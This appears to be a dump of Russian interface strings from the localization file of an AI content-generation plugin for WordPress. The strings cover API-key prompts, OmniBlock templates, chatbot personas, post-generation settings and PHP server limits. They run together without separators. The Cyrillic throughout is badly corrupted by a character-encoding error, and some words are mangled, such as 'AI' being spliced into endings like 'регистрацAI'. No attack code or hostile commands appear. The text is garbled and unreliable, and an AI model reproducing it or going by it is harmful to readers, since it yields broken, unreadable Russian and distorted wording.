Ð¸Ð· вызова API:Ðет информацииÐет извеÑтных ограничений авторÑкого праваÐет ЛимитаПоÑтоÑнные ПоÑÑ‚Ñ‹ чата не найдены. Ð’Ñ‹ можете включить Ñту функцию, еÑли иÑпользуете Ñледующий Шорткод Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾ÑтоÑнного чата Ñ AI на Ñвою Ñтраницу: [aiomatic-chat-form Permanent="on"]Ð’ данный момент нет правилÐет Ñохраненных темКатегории шаблонов не найдены. Добавьте их на вкладке «ДиÑпетчер шаблонов OmniBlock».Шаблоны не найдены. Добавьте их на вкладке «ДиÑпетчер шаблонов OmniBlock».Ð’ PDF-файле не найдены текÑтовые данныеÐе указаноÐорвежÑкийÐорвежÑкийÐорвежÑкий (переводчик Google)Ðе УÑтановленÐе ПодпиÑанные ПользователиÐе доÑтупноПримечание 1. Ðе забудьте защитить Ñвой ключ API от OpenAI (ни Ñ ÐºÐµÐ¼ не делитеÑÑŒ им).Примечание 2. ЕÑли вы иÑпользуете Cloudflare, прочитайте ниже.Примечание 3. ЕÑли вы иÑпользуете Плагин кÑÑˆÐ¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ WP Rocket, деактивируйте и повторно активируйте его.Примечание 4. ЕÑли на вашем Ñервере уÑтановлено ограничение времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ (ограничено наÑтройками Ñервера max_execution_time), возможно, вы не Ñможете генерировать более длинный Контент. ПожалуйÑта, попроÑите вашего хоÑтинг-провайдера увеличить лимит времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ñервера как минимум до 10-15 минут, чтобы генерировать более длинный Контент.Примечание 5. ЕÑли вы иÑпользуете ÑиÑтему безопаÑноÑти iThemes, обÑзательно разрешите вызовы PHP из папки Плагина, иначе некоторые функции Плагина могут не работать.Ðечего СохранÑÑ‚ÑŒ!ÐаÑтройки Уведомлений:Теперь повеÑелитеÑÑŒ, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐŸÐ»Ð°Ð³Ð¸Ð½!Теперь вы готовы увидеть Плагин в дейÑтвии! Ð’Ñ‹ можете навеÑти указатель мыши на меню Aiomatic на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ WordPress. Оттуда вы можете Ñоздать один поÑÑ‚ AI или Ñоздать маÑÑовые автоматичеÑкие поÑÑ‚Ñ‹, Ñозданные AI, в комплекте Ñ Ð±Ð¾Ð³Ð°Ñ‚Ñ‹Ð¼ HTML-Контентом и беÑплатными изображениÑми или изображениÑми, Ñозданными AI. Ð’Ñ‹ также можете редактировать ÑущеÑтвующие или недавно опубликованные ПоÑÑ‚Ñ‹ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ редактора Контента AI. ЕÑли вы опытный пользователь или хотите узнать, как выжать больше из Плагина и AI в целом, проверьте функции Embeddings и Model Training Плагина. Ðаконец, оÑтановитеÑÑŒ, чтобы увидеть диаграммы иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° и уÑтановить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование его API (еÑли вы чувÑтвуете, что Ñто необходимо).ÐомерКоличеÑтво Разделов Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ÐšÐ¾Ð»Ð¸Ñ‡ÐµÑтво Разделов Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸:КоличеÑтво абзацев в РазделеКоличеÑтво абзацев в Разделе:КоличеÑтво результатов Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа:КоличеÑтво результатов поиÑка Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ (в Шорткоде %%web_results%%):ЧиÑло от -2,0 до 2,0. Положительные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ ÑˆÑ‚Ñ€Ð°Ñ„ÑƒÑŽÑ‚ новые токены на оÑнове их ÑущеÑтвующей чаÑтоты в текÑте на данный момент, ÑƒÐ¼ÐµÐ½ÑŒÑˆÐ°Ñ Ð²ÐµÑ€Ð¾ÑтноÑÑ‚ÑŒ того, что модель доÑловно повторит одну и ту же Ñтроку.ЧиÑло от -2,0 до 2,0. Положительные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ ÑˆÑ‚Ñ€Ð°Ñ„ÑƒÑŽÑ‚ новые токены в завиÑимоÑти от того, поÑвлÑÑŽÑ‚ÑÑ Ð»Ð¸ они в текÑте до Ñих пор, что увеличивает вероÑтноÑÑ‚ÑŒ того, что модель будет говорить о новых темах.КоличеÑтво изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² СтатьюКоличеÑтво изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Статью:КоличеÑтво видео на YouTube Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² СтатьюКоличеÑтво видео YouTube Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Статью:КоличеÑтво Ñозданных Разделов:КоличеÑтво шагов диффузAI Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ. По умолчанию 50.КоличеÑтво абзацев в Разделе:ОбъектОдиаOdia (Переводчик Google)OffФайлы OmniBlockМенеджер OmniBlockПараметры OmniBlockОчередь OmniBlock начинаетÑÑ Ð·Ð´ÐµÑьОчередь OmniBlock оÑтанавливаетÑÑ Ð·Ð´ÐµÑьМенеджер правил OmniBlockÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð° OmniBlock:Менеджер шаблонов OmniBlockÐазвание шаблона OmniBlock:Обновлен черновой вариант шаблона OmniBlock.Опубликован шаблон OmniBlock.Шаблон OmniBlock воÑÑтановлен до верÑии %s.Шаблон OmniBlock Ñохранен.Шаблон OmniBlock запланирован на: %1$s.Шаблон OmniBlock отправлен.Обновлен шаблон OmniBlock.Заголовок OmniBlockТип OmniBlock Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ (перетаÑкиванием):Тип OmniBlock:Типы OmniBlock:ФункциональноÑÑ‚ÑŒ OmniBlock Webhook не включена в меню "ОÑновные наÑтройки" плагина!Тип OmniBlock не найден:OmniBlocksÐаÑтройки OmniBlocks:вВкл. (Локальное Хранилище)Вкл. (Локальное Хранилище), СохранÑÑ‚ÑŒ Только Журналы ЧатаВкл. (Хранение Векторной Базы Данных), ÐвтоматичеÑкое Создание Ð’Ñтраиваний из Сообщений ПользователÑРаз в 10 минутРаз в 15 минутРаз в 30 минутОднажды МинутаРаз в меÑÑцРаз в неделюРаз в ÑуткиРаз в меÑÑцРаз в неделюОдин раз в чаÑÐ”Ð»Ñ Assistants API поддерживаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ OpenAI API.ЗдеÑÑŒ отображаютÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ инциденты, произошедшие менее недели назад.OpenAI / AiomaticAPIОбучающее видео по вызову функций OpenAI API:OpenAI Organization ID (ÐеобÑзательно)OpenAI Organization ID (ÐеобÑзательно)Ð¡Ñ‚Ð°Ñ‚ÑƒÑ OpenAIЦены OpenAIOpenAI/AiomaticAPIÐаÑтройки API OpenRouter AIÐžÐ¿ÐµÑ€Ð°Ñ†Ð¸Ð¾Ð½Ð½Ð°Ñ Ð¡Ð¸ÑтемаОптимизируйте шорткод %%post_content%% Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI:ОпцииУпорÑдочить результаты по:Результаты заказа:УпорÑдочить результаты по заранее определенному правилу.ID ОрганизацииСила Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð˜Ñходного Контента:Сила ИÑходного ИзображениÑ:Оромооромо (переводчик Google)Обучающее видео по другим вариантам облачного хранилища:Выводит результат вÑтраиваний из вÑтраиваний, Ñозданных вами в плагине, на оÑнове текÑтового ввода, отправленного в Ñтот OmniBlock. Обратите внимание, что Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñтой функции вам необходимо включить вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð² плагине и Ñоздать текÑÑ‚Ñ‹ вÑтраиваниÑ, ÑоответÑтвующие ожидаемому результату.ПерезапиÑать ID голоÑового чат-бота Ð´Ð»Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь:ПерезапиÑать URL-Ð°Ð´Ñ€ÐµÑ Ð°Ð²Ð°Ñ‚Ð°Ñ€Ð° видео чат-бота:ПерезапиÑать СущеÑтвующиеПерезапиÑать ÑущеÑтвующие поÑтыПерезапиÑать ÑущеÑтвующие поÑÑ‚Ñ‹:PDF-чатÐаÑтройки PDF-чата:Ðнализ и хранение PDF-файлов Ñ Ð¸Ñпользованием OmniBlocksХранение и анализ PDF-файловОшибка Згрузки PDF-файла. Сообщение ПользователÑ:PDF-файл УÑпешно Загружен Сообщение ПользователÑ:Сообщение Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ PDF-ÑеÑÑии о завершении ÑеанÑа:PHP Curl:КлаÑÑ PHP DateTime:PHP Max Input VarsPHP Max Input Vars (optional):МакÑимальный размер загрузки PHPЛимит памÑти PHP:PHP Post Max SizePHP Post Max Size:PHP Time LimitPHP Time Limit:PHP-верÑиÑВерÑÐ¸Ñ PHP:СтраницаID приложениÑÐазвание Ñтраницы:Страница, где публиковать поÑтыСтраница:СтраницыÐбзацРодительÑкаÑПуштуПушту (переводчик гугл)Передайте предуÑтановку ÑтилÑ, чтобы привеÑти модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ðº определенному Ñтилю. По умолчанию ÐЕТ.Путь к phantomjsÐа раÑÑмотренииВ ожидании -> МодерациÑЛюдиÐавÑегда удалить вÑе ПоÑÑ‚Ñ‹ÐаÑтройки API Perplexity AIПерÑидÑкийПерÑидÑкий (переводчик Google)Журналы ÑохранÑемого чатаПоÑтоÑнный чат: Ðватар ПерÑоныКонтекÑтнай промпт перÑонажа*ПерÑона Первое ÑообщениеМенеджер ПерÑонЦвет имени перÑоны:Ð˜Ð¼Ñ ÐŸÐµÑ€Ñоны*ПерÑона РольЦвет роли перÑоны:Выбор перÑоныОбновлен черновой вариант перÑоны.ПерÑона опубликована.ПерÑона воÑÑтановлена ​​до верÑии %sПерÑона Ñохранена.ПерÑона запланирована на: %1$s.ПерÑона отправлена.ПерÑона обновлена.Параметры API Pexels:Pexels App ID:PhantomJS (HeadlessBrowserAPI)PhantomJS (необходимо уÑтановить на Ñервере)Путь PhantomJS на Ñервере:Ð¤Ð¾Ñ‚Ð¾Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Ð½Ð° Фото: ОпиÑание ПинаÐазвание ПинаURL ПинаPineconePinecone API:Ð˜Ð½Ð´ÐµÐºÑ ÑˆÐ¸ÑˆÐºÐ¸:ПроÑтранÑтво имен Pinecone:Pinecone.ioГенератор поÑтов PinterestomaticПараметры API Pixabay:Pixabay App ID:Варианты прÑмого парÑинга Pixabay:МеÑтаПроверка Плагиата Проверка Плагиата/AI Detector API Key:СпиÑок ключей API PlagiarismCheck (необÑзательно):PlagiarismCheck API:ПроÑтой текÑтПлеер МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота (пикÑели):Плеер МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° (ПикÑели):PlaygroundsПожалуйÑта, измените ÐаÑтройки Правил, так как вÑе ваши Заголовки опубликованы.ПожалуйÑта, проверьте меню Плагинов «ÐктивноÑÑ‚ÑŒ и ведение журнала» Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð´Ñ€Ð¾Ð±Ð½Ð¾Ð¹ информации.ПожалуйÑта, проверьте доÑтупные AI Playgrounds ниже, чтобы протеÑтировать Функции Плагина:ОзнакомьтеÑÑŒ Ñ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ð¼Ð¸ Ñоветами и рекомендациÑми по напиÑанию Промптов здеÑÑŒ .ПроÑьба включить curl PHP. ПожалуйÑта, ÑвÑжитеÑÑŒ Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¾Ð¹ вашего хоÑтинг-провайдера, чтобы помочь вам в Ñтом вопроÑе.ПожалуйÑта, введите Идею Заголовка/Ключевое ÑловоПожалуйÑта, введите Ñвой код покупки Envato, чтобы включить автоматичеÑкое обновление в Плагине. Чтобы получить код покупки, пожалуйÑта, Ñледуйте this tutorial. ИнформациÑ, отправлÑÐµÐ¼Ð°Ñ Ð½Ð° Ñервер региÑтрацAI, ÑоÑтоит из: кода покупки, URL Ñайта, имени Ñайта, адреÑа Ñлектронной почты админиÑтратора. Ð’Ñе Ñти данные будут иÑпользованы Ñтрого Ð´Ð»Ñ Ñ†ÐµÐ»ÐµÐ¹ региÑтрацAI.ПожалуйÑта, вÑтавьте текÑтовое изображениеПожалуйÑта, вÑтавьте изображение макÑимальной шириныПожалуйÑта, вÑтавьте изображение мин выÑотаПожалуйÑта, вÑтавьте изображение минимальной шириныПожалуйÑта, введите желаемую выÑоту Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñозданных AIПожалуйÑта, введите желаемую выÑоту Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… изображенийПожалуйÑта, введите желаемую ширину Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñозданных AIПожалуйÑта, введите желаемую ширину Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… изображенийПожалуйÑта, вÑтавьте первый ÑпиÑок предложенийПожалуйÑта, вÑтавьте глобальный ÑпиÑок запрещенных ÑловПожалуйÑта, вÑтавьте глобальный ÑпиÑок обÑзательных ÑловПожалуйÑта, введите ключевое Ñлово Ð´Ð»Ñ Ð·Ð°Ð¼ÐµÐ½Ñ‹ÐŸÐ¾Ð¶Ð°Ð»ÑƒÐ¹Ñта, введите ключевое Ñлово Ð´Ð»Ñ Ð·Ð°Ð¼ÐµÐ½Ñ‹ поиÑкового ключевого ÑловаПожалуйÑта, вÑтавьте ÑÑылку Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ключевое ÑловоПожалуйÑта, вÑтавьте ÑпиÑок переменныхПожалуйÑта, вÑтавьте второй ÑпиÑок предложенийПожалуйÑта, вÑтавьте Ñвой API-ключ Anthropic Claude.ПожалуйÑта, введите Ñвой ключ API D-IDПожалуйÑта, введите ключ API ElevenLabs.ioПожалуйÑта, введите ваш идентификатор Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ FlickrПожалуйÑта, введите Ñвой ключ API Google MakerSuite AIПожалуйÑта, введите Ñвой ключ Google Text-to-Speech API ПожалуйÑта, введите Ñвой ключ API OpenAI/AiomaticAPIВведите ключ API OpenRouter AIПожалуйÑта, введите Ñвой ключ API Perplexity AIПожалуйÑта, введите ваш Pexels API ключПожалуйÑта, введите ключ API Pinecone.ioПожалуйÑта, вÑтавьте клавишу Pixabay APIПожалуйÑта, вÑтавьте Ñвой API-ключ PlagiarismCheck.ПожалуйÑта, вÑтавьте Ñвой ключ API Qdrant.ПожалуйÑта, введите Ñвой ключ Stability.AI APIПожалуйÑта, введите Ñвой ключ API TextRazorПожалуйÑта, вÑтавьте Ñвой ключ API YouTube. Ð’Ñ‹ также можете вÑтавить ÑпиÑок ключей API, Разделенных запÑтыми. Плагин будет выбирать один Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¹ раз при запуÑке Ñлучайным образом.ПожалуйÑта, введите ваш премиальный текÑтовый ÑервиÑный парольПожалуйÑта, введите ваше премиум текÑтовое Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ñлужбы ÑпиннераПожалуйÑта, войдите в Ñвою учетную запиÑÑŒ, чтобы увидеть информацию об иÑпользованAI.Обратите внимание, что вы также Ñможете иÑпользовать Шорткоды, указанные в нижней чаÑти Форм, которые можно иÑпользовать на AI Playground. Они добавÑÑ‚ те же Формы и в Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта.Обратите внимание: Ñ Ð½Ðµ могу гарантировать, что Ð´Ð¾Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð½Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ будет хорошо работать Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ варианта иÑпользованиÑ. Как Ñ ÑƒÐ¿Ð¾Ð¼Ð¸Ð½Ð°Ð» ранее, качеÑтво набора данных очень важно. ЕÑли у Ð²Ð°Ñ Ð½ÐµÐ±Ð¾Ð»ÑŒÑˆÐ¾Ð¹ набор данных, вы можете не получить хороших результатов. ЕÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ очень большой набор данных Ñ Ð´ÐµÐ¹Ñтвительно четко определенными парами Промпты и завершениÑ, вы должны получить хорошие результаты.Укажите один ASIN продукта Amazon (например: B07RZ74VLR).Укажите один ASIN продукта Amazon (например: B07RZ74VLR). Чтобы Ñоздать неÑколько публикаций Ñ Ð¾Ð±Ð·Ð¾Ñ€Ð°Ð¼Ð¸ продуктов, добавьте разные ASIN, каждый в новой Ñтроке.Укажите URL-адреÑа видеороликов YouTube (по одному в каждой Ñтроке). Ð’Ñ‹ также можете ввеÑти URL-Ð°Ð´Ñ€ÐµÑ Ð´ÐµÑкриптора YouTube (канала или пользователÑ), например: https://www.youtube.com/@CodeRevolutionTV/videos — еÑли вы добавили ключ YouTube API в меню «ОÑновные наÑтройки» плагина, Ñто перечиÑлит вÑе поÑледние видео Ñ Ñтого конкретного канала YouTube. Ð’ противном Ñлучае будут перечиÑлены видео, которые также поÑвлÑÑŽÑ‚ÑÑ Ð½Ð° главной Ñтранице канала. ДобавлÑемые Ñюда видео должны быть общедоÑтупными и иметь доÑтупные Ñубтитры (загруженные или автоматичеÑки Ñгенерированные). Ð’ Ñлучае иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки генерируемых подпиÑей качеÑтво Ñоздаваемой Ñтатьи может быть ниже. Также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды!Укажите ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка продуктов Amazon, которые будут включены в Ñозданную Ñтатью. Ðльтернативно вы можете предоÑтавить ÑпиÑок ASIN продуктов, разделенных запÑтыми (например: B07RZ74VLR, B07RX6FBFR). Чтобы Ñоздать неÑколько Ñообщений из ÑпиÑков ASIN, добавьте новый ÑпиÑок ASIN, разделенный запÑтыми, в новую Ñтроку.Укажите ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка продуктов Amazon, которые будут включены в Ñоздаваемый контент. Ðльтернативно вы можете предоÑтавить ÑпиÑок ASIN продуктов, разделенных запÑтыми (например: B07RZ74VLR, B07RX6FBFR).Укажите ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка ÑвÑзанных объектов.ПожалуйÑта, выберите ПромптПожалуйÑта, уÑтановите Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ один флажок Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸!ПожалуйÑта, уÑтановите значение Шорткода атрибуции изображениÑ. Ð’Ñ‹ можете иÑпользовать Ñто значение, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ %%image_attribution%% Шорткод, в полÑÑ… ÐаÑтроек «Добавить Контент Ñ» и «Добавить Контент Ñ». Ð’ Ñтом поле ÐаÑтроек вы можете иÑпользовать Ñледующие Шорткоды: %%image_source_name%%, %%image_source_website%%, %%image_source_url%%. Они будут автоматичеÑки обновлены Ð´Ð»Ñ ÑоответÑтвующего иÑточника изображениÑ, из которого импортировано изображение. Это заменит %%royalty_free_image_attribution%% Шорткод, в поле ÐаÑтроек «Сгенерированный Контент ПоÑта».ПожалуйÑта, укажите также проÑтранÑтво имен Ð´Ð»Ñ Ð²Ñтраиваний.ÐÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°Ð Ð°Ñширенные ÐаÑтройки Плагина:Интервал ÐвтозапуÑка Плагина:Общие ÐаÑтройки Плагина:Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ региÑтрации Плагина - автоматичеÑкое обновление включено:РегиÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° не удалаÑÑŒ!РегиÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° прошла уÑпешно!Точка зрениÑТочка зрениÑ:ПольшаПольÑкийПольÑкий (переводчик Google)ПопулÑрныйПопулÑрный поÑÑ‚ иÑточникпортугальÑкийПортугальÑкий (переводчик Google)Возможные причины:Ðвтор запиÑиPost Author IDÐвтор:Параметры ÐвтоматичеÑких Категорий ПоÑтов:Параметры ÐвтоматичеÑкого ÐšÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸:Параметры ÐвтоматичеÑких Тегов ПоÑта:КатегорAI ПоÑтовПараметры категорAI ПоÑтовКатегории ПоÑтов Ð´Ð»Ñ ÐžÐ±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸Ð Ð°Ð·Ð¼ÐµÑтить запиÑьОпубликовать Контент — параметры Генератора текÑта AIПараметры ÐвтоматичеÑкого Ð›Ð¸Ð½ÐºÐ¾Ð²Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° ПоÑта:Режим поÑÑ‚-ÑозданиÑПользовательÑкие ÐŸÐ¾Ð»Ñ Ð·Ð°Ð¿Ð¸ÑиОпубликовать пользовательÑкие полÑ:Опубликовать пользовательÑкие такÑономAIОпубликовать пользовательÑкие такÑономAI:Импорт данных поÑтаДиапазон дат поÑтаÐÐ½Ð¾Ð½Ñ ÐŸÐ¾ÑтаФормат ПоÑтаID ПоÑтаID ПоÑта (необÑзательно)ID запиÑей:Ð˜Ð¼Ñ ÐŸÐ¾ÑÑ‚Ñ‹:ÐаÑтройки запиÑейРодительÑкий ПоÑÑ‚ID РодительÑкого ПоÑтаID РодительÑкого ПоÑта:Post РодительÑкий:Почтовые РазделыСпиÑок Разделов публикации (необÑзательно)СпиÑок Разделов ПоÑта (необÑзательно):Slug ПоÑтаИÑточник запиÑÐ¸Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð·Ð°Ð¿Ð¸ÑÐ¸Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸:Параметры тега публикацииТÑги ПоÑтовЗаголовок запиÑиЗаголовок ПоÑты – параметры Генератора текÑта AI (Шорткод %%ai_generated_title%%)СпиÑок Заголовоков ПоÑтов / URL-Ð°Ð´Ñ€ÐµÑ TXT-файла / URL-Ð°Ð´Ñ€ÐµÑ RSS-каналаЗаголовок ПоÑÑ‚Ñ‹ ИÑточникИÑточник заголовка ПоÑÑ‚Ñ‹:СпиÑок Тем ПоÑтовТип ПоÑтаТип запиÑи:Типы ПоÑтов Где генерировать ВходÑщие СÑылкиТипы ПоÑтов, где генерировать ÐвтоматичеÑкие СÑылки:Типы ПоÑтов Где генерировать ВходÑщие СÑылки:ПоÑÑ‚ Ñоздано как черновик. Выберите, что делать дальше:ПоÑÑ‚ будет отредактирован Ñ ÑƒÑ‡ÐµÑ‚Ð¾Ð¼ ÐаÑтроек, Ñделанных вами в Разделе меню Плагина «AI Редактор Контента».Режим ПоÑтингаВарианты публикацииПоÑÑ‚Ñ‹ÐвтоматичеÑкое редактирование ПоÑтов ФильтрациÑ:ПоÑÑ‚Ñ‹, из которых можно Ñоздавать вÑтраиваниÑ:Созданные ПоÑÑ‚Ñ‹:СервиÑный пароль Premium Spinner / ключ API:Премиум Spinner Service Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ / Ð°Ð´Ñ€ÐµÑ Ñлектронной почты:Добавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AIДобавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AI:Добавить к началуДобавьте текÑÑ‚ к промптам Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°:Presence PenaltyШтраф за приÑутÑтвие:ÐазадПредпроÑмотрИзображение Ð´Ð»Ñ Ð¿Ñ€ÐµÐ´Ð²Ð°Ñ€Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð³Ð¾ проÑмотра:Ð¿Ñ€ÐµÐ´Ñ‹Ð´ÑƒÑ‰Ð°Ñ ÑтраницаЦенаПрайÑ: СтоимоÑÑ‚ÑŒ запроÑа.Цена:Ð’Ñ‹ÑокаÑ-ÐизкаÑЦена: ÐизкаÑ-Ð’Ñ‹ÑокаÑЛичноеОбрабатывайте Также ТакÑономии, у Которых уже еÑÑ‚ÑŒ ОпиÑание:Обрабатывайте каждое ключевое Ñлово только один разОбрабатывайте каждое ключевое Ñлово только один раз:Обрабатывайте каждый результат Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI-промптаОбработка каждого Заголовка/Ключевого Ñлова только один разОбработка каждого Заголовка/Ключевого Ñлова только один раз:Обрабатывать каждый Заголовок/Тему Только Один разОбрабатывать каждый Заголовок/Тему Только Один раз:Обрабатывайте каждый Заголовок/Видео только один разОбрабатывайте каждый Заголовок/Видео только один раз:Обработка Заголовков/Тем по порÑдку, а не в Ñлучайном порÑдке:Обработка видео в порÑдке поÑтуплениÑОбработка видео в порÑдке поÑтуплениÑ:Шаблон ÑпиÑка продуктовКлючевые Ñлова поиÑка продукта / СпиÑок ASIN продуктовПродуктыПромптПромпт Генератора Ключевых Слов OpenAI Ð´Ð»Ñ Ð¸Ð¼Ð¿Ð¾Ñ€Ñ‚Ð° изображений без лицензионных отчиÑлений:Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий OpenAIПромпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Категорий AI:Промпты Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Комментариев AI:Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° изображений AIПромпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° изображений AI:Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов ПоÑта OpenAIПромпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов ПоÑта OpenAIПромпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков, ÑвÑзанных Ñ AI:Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Мета-опиÑÐ°Ð½Ð¸Ñ AI SEO:Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов AI:Промпт Ð´Ð»Ñ Ð¢ÐµÐºÑтового Генератора AIПромпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° 